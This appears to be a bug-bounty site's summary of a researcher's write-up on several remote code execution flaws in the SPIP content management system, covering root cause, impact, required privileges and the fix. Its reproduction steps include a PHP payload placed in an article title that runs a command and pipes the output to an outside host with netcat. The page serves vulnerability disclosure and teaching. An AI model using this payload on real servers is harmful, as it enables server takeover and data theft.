Skip to content
RCE Write-up Advanced

RCE on Spip and Root-Me, v2!

The article describes multiple remote code execution vulnerabilities in SPIP, including a pre-authentication custom SSTI in icalendar generation and a post-authentication PHP file upload via a GIF polyglot. An attacker could execute arbitrary commands on the server, and the author demonstrated this on Root-Me.

Laluka Follow

Published on thinkloveshare.com

Hello there, This is the second article dedicated to Spip 0-day research, if you haven’t read the first one, I recommend reading it first. Even though it’s not required to follow along, it’s always better to have the full context for a specific research.

Laluka (@TheLaluka), t0 (@___t0___), on thinkloveshare.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Not written yet. The AI write-up for this write-up has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely, user-controlled input was placed into PHP eval statements or files without proper sanitisation, and file upload checks allowed double extensions and PHP code hidden in image comments.

Impact

An attacker could execute arbitrary commands on the server, potentially leading to full compromise; the pre-auth issue was patched, and the post-auth issues require authentication.

What the attacker needed

Pre-auth for icalendar SSTI; author account for email eval; webmestre account for MediaBox; author account for file upload

The fix

The vulnerabilities were fixed by the SPIP team, as indicated by the patch links.

How it was found

  1. Login as author
  2. Create section that will contain our article
  3. Create article with the title: `<?php system("id | nc [redacted] 8000");?>`
  4. Change article status from draft to evaluation
  5. Enjoy your RCE!

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this write-up has not been written yet. The Original tab links to the source.

SPIP is a content management system written in PHP. The article shows several ways an attacker could trick SPIP into running their own PHP code, which lets them take control of the server. Some attacks need no login, others need a low-privileged account.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More from SPIP

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.